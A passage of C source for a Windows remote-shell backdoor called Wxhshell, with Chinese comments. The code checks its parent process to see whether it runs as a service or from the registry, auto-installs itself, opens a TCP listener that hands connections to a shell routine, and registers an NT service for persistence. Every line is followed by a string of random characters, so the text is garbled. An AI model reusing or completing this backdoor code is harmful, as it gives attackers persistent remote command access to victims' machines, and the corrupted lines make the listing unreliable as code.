DWORD BasePriority; d[l8qaD
ULONG UniqueProcessId; B bmw[Qf\
ULONG InheritedFromUniqueProcessId; @@\qso
} PROCESS_BASIC_INFORMATION; mH$ `)i8
h81giY]
PROCNTQSIP NtQueryInformationProcess; VgXT4gO!
(nLzWvN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m#BXxS#B<_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Ya^PAj '}
w&H>`l06
HANDLE hProcess; NE#`ZUr3
PROCESS_BASIC_INFORMATION pbi; E'{:HX
@lDnD%vZ`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n>u_>2Ikkj
if(NULL == hInst ) return 0; 9<rs3 84
]vf_4QW=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Mg O)bH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !QVhP+l'H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ).jQ+XE'>
!:\0}w$-
if (!NtQueryInformationProcess) return 0; 4Mg%}/cC
$)*qoV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A v>v\ :.>
if(!hProcess) return 0; ?cWwt~N9
tF,`v{-up
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -_9*BvS]R
3L==p`
CloseHandle(hProcess); b&yuy
0Md.3kY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s2,6aW C
if(hProcess==NULL) return 0; D6lzcf
!)oQ9,N
HMODULE hMod; ^"<Bk<b(
char procName[255]; U0-RG
unsigned long cbNeeded; . h)VR
5?j
mQVlE__ub
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,1 H|{ <
yH:p*|% :
CloseHandle(hProcess); ih)\P0wed
>{Ayzz>v
if(strstr(procName,"services")) return 1; // 以服务启动 1^]IuPxq
N}/V2K]Q
return 0; // 注册表启动 lPz`?Hn
} DW,ERQ^
XPrnQJ
// 主模块 zfDfy!\2_
int StartWxhshell(LPSTR lpCmdLine) el$@^Wy&$
{ RU/WI<O
SOCKET wsl; U= GJuixy
BOOL val=TRUE; =W')jKe0
int port=0; umuj>
struct sockaddr_in door; 9+*{3 t
Heqr1btK
if(wscfg.ws_autoins) Install(); PSAEW.L
;C =d(
pY
port=atoi(lpCmdLine); -}xK>
["
mW)kWuOO
if(port<=0) port=wscfg.ws_port; 3BK
8{/
x2fqfrr_]
WSADATA data; "PTEt{qn
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SD~4CtlfI
=@O&$&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %Qj$@.*:
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aW_Y
door.sin_family = AF_INET; V&j]*)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VXk[p
door.sin_port = htons(port); lrkgsv6
LsGO~EiJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HrLws95'
closesocket(wsl); _~1O #*|4
return 1; eCJtNPd
} <}&J|()
!b0A%1W;
if(listen(wsl,2) == INVALID_SOCKET) { yo_zc<
closesocket(wsl); J s33S)
return 1; i0\]^F
} rvhMu}.
Wxhshell(wsl); ,^1 #Uz8
WSACleanup(); N49{J~
KJ&I4CU]^
return 0; j-aTpN
qldm"Ul
} rUV'DC?eE
Qg1kF^=
// 以NT服务方式启动 Iw] ylp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DI-&P3iGx
{ oEZhKVyc.y
DWORD status = 0; J7WNgl%
u
DWORD specificError = 0xfffffff; KX\=wFbP)
E rA*a3
serviceStatus.dwServiceType = SERVICE_WIN32; 9;*B*S~znW
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DV?c%z`YO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ae3 Gn}tf
serviceStatus.dwWin32ExitCode = 0; t#f-3zd9
serviceStatus.dwServiceSpecificExitCode = 0; w"kBAi&
serviceStatus.dwCheckPoint = 0; X/%!p<}:'
serviceStatus.dwWaitHint = 0; It'kO jx]
YJz06E1 -9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !6taOT>v
if (hServiceStatusHandle==0) return; s 64@<oU<"
&